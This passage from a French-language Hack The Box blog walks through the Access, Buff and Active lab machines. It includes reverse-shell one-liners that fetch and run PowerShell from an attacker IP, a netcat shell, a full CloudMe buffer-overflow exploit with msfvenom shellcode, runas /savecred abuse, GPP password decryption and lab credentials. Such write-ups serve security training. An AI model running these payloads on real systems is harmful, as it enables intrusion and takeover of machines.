En ftp et telnet, aucun ne fonctionne. Cependant, en utilisant le mot de passe “access4u@security” sur le fichier “Access Control.zip”, l’archive se décompresse correctement !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


┌──(kali㉿kali)-[~/htb/Access]
└─$ 7z x Access\ Control.zip

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:3 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870


Enter password (will not be echoed): <<<<<<<<<<<<<<<< access4u@security
Everything is Ok

Size: 271360
Compressed: 10870

┌──(kali㉿kali)-[~/htb/Access]
└─$ ls
'Access Control.pst' 'Access Control.zip' auth_user.txt backup.mdb

Extracting emails from pst file

1
2
3
4
5


┌──(kali㉿kali)-[~/htb/Access]
└─$ readpst -r Access\ Control.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
 "Access Control" - 2 items done, 0 items skipped.

Getting “security” account password from emails

security: 4Cc3ssC0ntr0ller

1
2
3
4


┌──(kali㉿kali)-[~/htb/Access/Access Control]
└─$ cat mbox | grep pass
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
</o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72"><div class=WordSection1><p class=MsoNormal>Hi there,<o:p></o:p></p><p class=MsoNormal><o:p>&nbsp;</o:p></p><p class=MsoNormal>The password for the &#8220;security&#8221; account has been changed to 4Cc3ssC0ntr0ller.&nbsp; Please ensure this is passed on to your engineers.<o:p></o:p></p><p class=MsoNormal><o:p>&nbsp;</o:p></p><p class=MsoNormal>Regards,<o:p></o:p></p><p class=MsoNormal>John<o:p></o:p></p></div></body></html>

TELNET - security account

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


┌──(kali㉿kali)-[~/htb/Access/Access Control]
└─$ telnet 10.10.10.98 23
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: security
password: 4Cc3ssC0ntr0ller

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>type Desktop\user.txt
9535.....3f75

Privilege Escalation

Powershell

Si j’écris simplement “powershell”, un powershell semble s’ouvrir mais n’est pas stable. J’ai donc dû ouvrir un reverse shell pour obtenir un powershell stable :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


----------KALI------------

┌──(kali㉿kali)-[~/htb/Access]
└─$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.10.98 - - [16/Feb/2025 17:04:22] "GET /Invoke.ps1 HTTP/1.1" 200 -

----------KALI------------

┌──(kali㉿kali)-[~/htb/Access]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.98] 49165

Windows PowerShell running as user security on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\security>PS C:\Users\security> whoami
access\security


---------WINDOWS----------

C:\Users\security>powershell /C IEX(New-Object Net.WebClient).downloadString('http://10.10.16.9:8888/Invoke.ps1')

ZKAccess.lnk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


PS C:\Users\security> cd ../Public
PS C:\Users\Public> cd Desktop
PS C:\Users\Public\Desktop> ls


 Directory: C:\Users\Public\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 8/22/2018 10:18 PM 1870 ZKAccess3.5 Security System.lnk


PS C:\Users\Public\Desktop> cat Z*
L?F?@ ??7???7???#?P/P?O? ?:i?+00?/C:\R1M?:Windows???:?▒M?:*wWindowsV1MV?System32???:?▒MV?*?System32▒X2P?:?
 runas.exe???:1??:1?*Yrunas.exe▒L-K??E?C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico?%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico?%?
 ?wN?▒?]N?D.??Q???`?Xaccess?_???8{E?3
 O?j)?H???
 )??[?_???8{E?3
 O?j)?H???
 )??[? ??1SPS??XF?L8C???&?m?e*S-1-5-21-953262931-566350628-63446256-500

En fouillant dans les dossiers, on trouve un fichier ZKAccess.lnk qui semble executer un binaire “Access.exe” avec des droits élévé :

Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred “C:\ZKTeco\ZKAccess3.5\Access.exe On observe l’utilisation de runas, pour executer un fichier en tant qu’un utilisateur spécifique. En l’occurence, ici, il s’agit de l’Administrator (celui qui nous intéresse). Apparement les creds de l’administrateur sont enregistrés, et on peut executer n’importe quelle commande en tant qu’Administrator en utilisant l’argument /savecred.

On tente d’utiliser à nouveau notre script Invoke.ps1 pour ouvrir un reverseshell de type powershell en tant qu’Administrator, et ça fonctionne. On a changé le port dans le Invoke.ps1 bien sûr car le port est déjà utiliser sur la kali pour le powershell actuel.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


PS C:\Users\security> runas /user:ACCESS\Administrator /savecred "powershell /C IEX(New-Object Net.WebClient).downloadString('http://10.10.16.9:8888/Invoke.ps1')"

--------KALI---------

┌──(kali㉿kali)-[~/htb/Access]
└─$ nc -lnvp 1339
listening on [any] 1339 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.98] 49216
Windows PowerShell running as user Administrator on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
access\administrator
PS C:\Windows\system32> cd C:\Users\Administrator
PS C:\Users\Administrator> cd Desktop
PS C:\Users\Administrator\Desktop> ls


 Directory: C:\Users\Administrator\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 2/16/2025 6:02 PM 34 root.txt


PS C:\Users\Administrator\Desktop> cat root.txt
339f.....e901

Tips

Toujours fouiller les dossiers des utilisateurs accessibles, avant d’effectuer un winPEAS.

HTB | Buff

Sun, 12 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Buff	Windows	10.10.10.198	Easy

IP

1

10.10.10.198

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ nmap -sS -sV -An -p- -vvv -T4 10.10.10.198

PORT STATE SERVICE REASON VERSION
7680/tcp open pando-pub? syn-ack ttl 127
8080/tcp open http syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: mrb3n's Bro Hut
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

Foothold

Directory enumeration : buff.htb - port 8080

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


$ gobuster dir -u http://buff.htb:8080/ -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://buff.htb:8080/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/profile (Status: 301) [Size: 337] [--> http://buff.htb:8080/profile/]
/img (Status: 301) [Size: 333] [--> http://buff.htb:8080/img/]
/upload (Status: 301) [Size: 336] [--> http://buff.htb:8080/upload/]
/license (Status: 200) [Size: 18025]
/include (Status: 301) [Size: 337] [--> http://buff.htb:8080/include/]
/examples (Status: 503) [Size: 1054]
/licenses (Status: 403) [Size: 1199]
/Profile (Status: 301) [Size: 337] [--> http://buff.htb:8080/Profile/]
/LICENSE (Status: 200) [Size: 18025]
/att (Status: 301) [Size: 333] [--> http://buff.htb:8080/att/]
/%20 (Status: 403) [Size: 1040]
/IMG (Status: 301) [Size: 333] [--> http://buff.htb:8080/IMG/]
/License (Status: 200) [Size: 18025]
/ex (Status: 301) [Size: 332] [--> http://buff.htb:8080/ex/]
/*checkout* (Status: 403) [Size: 1040]
/Img (Status: 301) [Size: 333] [--> http://buff.htb:8080/Img/]
/boot (Status: 301) [Size: 334] [--> http://buff.htb:8080/boot/]
/Upload (Status: 301) [Size: 336] [--> http://buff.htb:8080/Upload/]
/phpmyadmin (Status: 403) [Size: 1199]
/webalizer (Status: 403) [Size: 1040]
/*docroot* (Status: 403) [Size: 1040]
/* (Status: 403) [Size: 1040]
/con (Status: 403) [Size: 1040]
/Include (Status: 301) [Size: 337] [--> http://buff.htb:8080/Include/]
/http%3A (Status: 403) [Size: 1040]
/**http%3a (Status: 403) [Size: 1040]
/*http%3A (Status: 403) [Size: 1040]
/aux (Status: 403) [Size: 1040]
/Boot (Status: 301) [Size: 334] [--> http://buff.htb:8080/Boot/]
/**http%3A (Status: 403) [Size: 1040]
/%C0 (Status: 403) [Size: 1040]
/server-status (Status: 403) [Size: 1199]
/%3FRID%3D2671 (Status: 403) [Size: 1040]
/devinmoore* (Status: 403) [Size: 1040]
/Ex (Status: 301) [Size: 332] [--> http://buff.htb:8080/Ex/]
...

Le /ex est intéressant et indique des infos avec une erreur mysqli !

1

Warning: mysqli::__construct(): (HY000/1049): Unknown database 'secure_login' in C:\xampp\htdocs\gym\ex\include\db_connect.php on line 3

Gym Management System 1.0 - Unauthenticated RCE

On recherche “Gym” dans searchsploit ou sur internet on trouve rapidement un exploit python permettant d’uploader un fichier php et d’executer n’importe quelle commande.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


$ python3 exploit2.py http://buff.htb:8080/
/home/kali/htb/Buff/exploit2.py:77: SyntaxWarning: invalid escape sequence '\/'
 SIG += BL+' \/'+RS+'\n'
 /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
 \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> powershell cat ../../../../Users/shaun/Desktop/user.txt
PNG
▒
b6a5....ce0d3

Stablize shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.10.198 - - [07/Jan/2025 17:07:08] "GET /nc.exe HTTP/1.1" 200 -

--------------------------------------------------------------
# RCE from website

C:\xampp\htdocs\gym\upload> curl -O http://10.10.14.42:8888/nc.exe

C:\xampp\htdocs\gym\upload> nc.exe 10.10.14.42 1337 -e cmd.exe

--------------------------------------------------------------

$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.198] 50531
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>whoami
whoami
buff\shaun

C:\xampp\htdocs\gym\upload>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\xampp\htdocs\gym\upload>

Privilege escalation

CloudMe_1112.exe

En fouillant dans les fichiers, on trouve un exectutable CloudMe_1112.exe. Il se trouve que cette version tourne par défaut sur le port 8888 lorsqu’on l’execute, ce qui est bien le cas pour notre machine

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


PS C:\xampp\htdocs\gym\upload> tasklist | findstr Cloud
tasklist | findstr Cloud
CloudMe.exe 284 0 18,048 K
PS C:\xampp\htdocs\gym\upload> netstat -ano | findstr LISTENING
netstat -ano | findstr LISTENING
 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 944
 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
 TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 6188
 TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING 7832
 TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 8820
 TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 524
 TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1064
 TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1644
 TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2248
 TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 668
 TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 684
 TCP 10.10.10.198:139 0.0.0.0:0 LISTENING 4
 TCP 127.0.0.1:3306 0.0.0.0:0 LISTENING 8936
 TCP [::]:135 [::]:0 LISTENING 944
 TCP [::]:445 [::]:0 LISTENING 4
 TCP [::]:7680 [::]:0 LISTENING 7832
 TCP [::]:8080 [::]:0 LISTENING 8820
 TCP [::]:49664 [::]:0 LISTENING 524
 TCP [::]:49665 [::]:0 LISTENING 1064
 TCP [::]:49666 [::]:0 LISTENING 1644
 TCP [::]:49667 [::]:0 LISTENING 2248
 TCP [::]:49668 [::]:0 LISTENING 668
 TCP [::]:49669 [::]:0 LISTENING 684

CloudMe 1.11.2 - Buffer Overflow

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ searchsploit cloudme
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py <----------------------

CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.py
Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit) | windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass) | windows_x86-64/local/45159.py
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit) | windows/remote/44175.rb
CloudMe Sync 1.11.0 - Local Buffer Overflow | windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) | windows_x86-64/remote/46250.py
CloudMe Sync < 1.11.0 - Buffer Overflow | windows/remote/44027.py
CloudMe Sync < 1.11.0 - Buffer Overflow (SEH) (DEP Bypass) | windows_x86-64/remote/44784.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Le fichier python contient un payload généré avec msfvenom mais qui ne fonctionne pas pour notre windows 10 x64 victime. Nous avons donc généré un nouveau payload. Ensuite, on a remplacer ce code dans le python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68


msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.42 LPORT=9001 -b '\x00\x0A\x0D' -f python
...
...

$ cat exploit_cloudme.py
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1 = b"\x90" * 1052
EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS = b"\x90" * 30

buf = b""
buf += b"\xbb\x9b\xa8\x51\x15\xdb\xd1\xd9\x74\x24\xf4\x5e"
buf += b"\x2b\xc9\xb1\x52\x31\x5e\x12\x83\xc6\x04\x03\xc5"
buf += b"\xa6\xb3\xe0\x05\x5e\xb1\x0b\xf5\x9f\xd6\x82\x10"
buf += b"\xae\xd6\xf1\x51\x81\xe6\x72\x37\x2e\x8c\xd7\xa3"
buf += b"\xa5\xe0\xff\xc4\x0e\x4e\x26\xeb\x8f\xe3\x1a\x6a"
buf += b"\x0c\xfe\x4e\x4c\x2d\x31\x83\x8d\x6a\x2c\x6e\xdf"
buf += b"\x23\x3a\xdd\xcf\x40\x76\xde\x64\x1a\x96\x66\x99"
buf += b"\xeb\x99\x47\x0c\x67\xc0\x47\xaf\xa4\x78\xce\xb7"
buf += b"\xa9\x45\x98\x4c\x19\x31\x1b\x84\x53\xba\xb0\xe9"
buf += b"\x5b\x49\xc8\x2e\x5b\xb2\xbf\x46\x9f\x4f\xb8\x9d"
buf += b"\xdd\x8b\x4d\x05\x45\x5f\xf5\xe1\x77\x8c\x60\x62"
buf += b"\x7b\x79\xe6\x2c\x98\x7c\x2b\x47\xa4\xf5\xca\x87"
buf += b"\x2c\x4d\xe9\x03\x74\x15\x90\x12\xd0\xf8\xad\x44"
buf += b"\xbb\xa5\x0b\x0f\x56\xb1\x21\x52\x3f\x76\x08\x6c"
buf += b"\xbf\x10\x1b\x1f\x8d\xbf\xb7\xb7\xbd\x48\x1e\x40"
buf += b"\xc1\x62\xe6\xde\x3c\x8d\x17\xf7\xfa\xd9\x47\x6f"
buf += b"\x2a\x62\x0c\x6f\xd3\xb7\x83\x3f\x7b\x68\x64\xef"
buf += b"\x3b\xd8\x0c\xe5\xb3\x07\x2c\x06\x1e\x20\xc7\xfd"
buf += b"\xc9\x45\x12\xf3\x23\x32\x20\x0b\x17\xeb\xad\xed"
buf += b"\x3d\xfb\xfb\xa6\xa9\x62\xa6\x3c\x4b\x6a\x7c\x39"
buf += b"\x4b\xe0\x73\xbe\x02\x01\xf9\xac\xf3\xe1\xb4\x8e"
buf += b"\x52\xfd\x62\xa6\x39\x6c\xe9\x36\x37\x8d\xa6\x61"
buf += b"\x10\x63\xbf\xe7\x8c\xda\x69\x15\x4d\xba\x52\x9d"
buf += b"\x8a\x7f\x5c\x1c\x5e\x3b\x7a\x0e\xa6\xc4\xc6\x7a"
buf += b"\x76\x93\x90\xd4\x30\x4d\x53\x8e\xea\x22\x3d\x46"
buf += b"\x6a\x09\xfe\x10\x73\x44\x88\xfc\xc2\x31\xcd\x03"
buf += b"\xea\xd5\xd9\x7c\x16\x46\x25\x57\x92\x76\x6c\xf5"
buf += b"\xb3\x1e\x29\x6c\x86\x42\xca\x5b\xc5\x7a\x49\x69"
buf += b"\xb6\x78\x51\x18\xb3\xc5\xd5\xf1\xc9\x56\xb0\xf5"
buf += b"\x7e\x56\x91"

payload = buf

overrun = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

buf = padding1 + EIP + NOPS + payload + overrun

try:
 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((target,8888))
 s.send(buf)
except Exception as e:
 print(sys.exc_value)

Chisel - port forwarding (8888)

Mise en place de chisel, pour dupliquer le port 8888 de la machine cible sur la machine locale. EN effet, ce port n’est accessible que depuis la machine cible normalement : Or, pour exploiter notre vuln, avec le script python , il faut que le port soit accessible sur notre machine local qui dispose bien de python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


kali@kali:~/htb/Buff$ ./chisel server -p 1082 --reverse
2025/01/10 20:17:44 server: Reverse tunnelling enabled
2025/01/10 20:17:44 server: Fingerprint iiSKQuGUrbyvUjt5afbcmjecM6T6JHMCaV2+4LBLk3g=
2025/01/10 20:17:44 server: Listening on http://0.0.0.0:1082

2025/01/10 20:19:07 server: session#1: tun: proxy#R:8888=>localhost:8888: Listening

-------------------------------------------------------------------------
# Windows target
PS C:\xampp\htdocs\gym\upload> .\chisel.exe client 10.10.14.42:1082 R:8888:localhost:8888
.\chisel.exe client 10.10.14.42:1082 R:8888:localhost:8888
2025/01/11 01:19:06 client: Connecting to ws://10.10.14.42:1082
2025/01/11 01:19:07 client: Connected (Latency 22.8931ms)

Exploitation (root.txt)

Enfin, on execute l’exploit final et on obtient un shell en tant que root sur la machine windows :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


┌──(kali㉿kali)-[~/htb/Buff]
└─$ python3 exploit_cloudme.py

┌──(kali㉿kali)-[~/htb/Buff]
└─$ python3 exploit_cloudme.py

┌──(kali㉿kali)-[~/htb/Buff]
└─$ python3 exploit_cloudme.py

--------------------------------------------------

$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.198] 49685
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

C:\Windows\system32>cd ../../Users/Administrator/Desktop
cd ../../Users/Administrator/Desktop

C:\Users\Administrator\Desktop>cat root.txt
cat root.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator\Desktop>type root.txt
type root.txt
39c4....c39f

C:\Users\Administrator\Desktop>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Desktop> whoami
whoami
buff\administrator

HTB | Active

Sun, 05 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Active	Windows	10.10.10.100	Easy

Users

1
2


SVC_TGS : GPPstillStandingStrong2k18
Administrator : Ticketmaster1968

Version

Windows Server 2008 R2 SP1

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


nmap -sC -sV -An -p- 10.10.10.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 17:12 EST
Nmap scan report for 10.10.10.100
Host is up (0.027s latency).
Not shown: 65512 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-12 22:12:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49166/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC

Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-12-12T22:13:57
|_ start_date: 2024-12-12T22:09:06

enu4mlinux

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


[+] Got OS info for 10.10.10.100 from srvinfo:
 10.10.10.100 Wk Sv PDC Tim NT Domain Controller
 platform_id : 500
 os version : 6.1
 server type : 0x80102b

 =================================( Share Enumeration on 10.10.10.100 )=================================

do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 C$ Disk Default share
 IPC$ IPC Remote IPC
 NETLOGON Disk Logon server share
 Replication Disk
 SYSVOL Disk Logon server share
 Users Disk
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.10.100

//10.10.10.100/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/C$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/IPC$ Mapping: OK Listing: DENIED Writing: N/A
//10.10.10.100/NETLOGON Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Replication Mapping: OK Listing: OK Writing: N/A
//10.10.10.100/SYSVOL Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.100/Users Mapping: DENIED Listing: N/A Writing: N/A

Foothold

En fouillant le SMB share “replication” accessible avec un utilisateur anonyme, on trouve un fichier intéressant parmis les autres:

Groups.xml

Il semble contenir un mot de passe chiffré.

Explication de ChatGPT :

Le mot de passe chiffré dans le champ cpassword que vous montrez est très probablement encodé en AES-256-CBC et fait partie d’une configuration XML de stratégie de groupe Windows (Group Policy Preferences, ou GPP). Ces cpassword sont généralement liés à des configurations de comptes d’utilisateurs déployés via les GPP.

GPP Exploitation

On déchiffre le mot de passe, ce qui nous donne : GPPstillStandingStrong2k18 Le username associé est également donné dans le xml : SVC_TGS

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


smbclient --no-pass //10.10.10.100/Replication
...

┌──(kali㉿kali)-[~]
└─$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

┌──(kali㉿kali)-[~]
└─$ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18

En scannat a nouveau les shares SMB, cette fois-ci avec notre user/password obtenu, on voit qu’on a acces au share “Users” en readonly. On y trouve un dossier avec le nom de notre utilisateur et tous ces fichiers Windows, avec le flag user.txt :

1fc4…..a676

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


┌──(kali㉿kali)-[~/htb/Active/bloodhound1]
└─$ smbclient //10.10.10.100/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'
Try "help" to get a list of possible commands.
smb: \> ls
 . DR 0 Sat Jul 21 10:39:20 2018
 .. DR 0 Sat Jul 21 10:39:20 2018
 Administrator D 0 Mon Jul 16 06:14:21 2018
 All Users DHSrn 0 Tue Jul 14 01:06:44 2009
 Default DHR 0 Tue Jul 14 02:38:21 2009
 Default User DHSrn 0 Tue Jul 14 01:06:44 2009
 desktop.ini AHS 174 Tue Jul 14 00:57:55 2009
 Public DR 0 Tue Jul 14 00:57:55 2009
 SVC_TGS D 0 Sat Jul 21 11:16:32 2018

 5217023 blocks of size 4096. 278586 blocks available
smb: \> cd SVC_TGS\
smb: \SVC_TGS\> ls
 . D 0 Sat Jul 21 11:16:32 2018
 .. D 0 Sat Jul 21 11:16:32 2018
 Contacts D 0 Sat Jul 21 11:14:11 2018
 Desktop D 0 Sat Jul 21 11:14:42 2018
 Downloads D 0 Sat Jul 21 11:14:23 2018
 Favorites D 0 Sat Jul 21 11:14:44 2018
 Links D 0 Sat Jul 21 11:14:57 2018
 My Documents D 0 Sat Jul 21 11:15:03 2018
 My Music D 0 Sat Jul 21 11:15:32 2018
 My Pictures D 0 Sat Jul 21 11:15:43 2018
 My Videos D 0 Sat Jul 21 11:15:53 2018
 Saved Games D 0 Sat Jul 21 11:16:12 2018
 Searches D 0 Sat Jul 21 11:16:24 2018

 5217023 blocks of size 4096. 278586 blocks available

┌──(kali㉿kali)-[~/htb/Active/bloodhound1]
└─$ sudo mount -t cifs -o username='SVC_TGS',password='GPPstillStandingStrong2k18' //10.10.10.100/Users/SVC_TGS /mnt/smb

┌──(kali㉿kali)-[~/htb/Active/bloodhound1]
└─$ xdg-open /mnt/smb

Privilege Escalation

Kerberoasting Attack on SPN ‘CIFS’

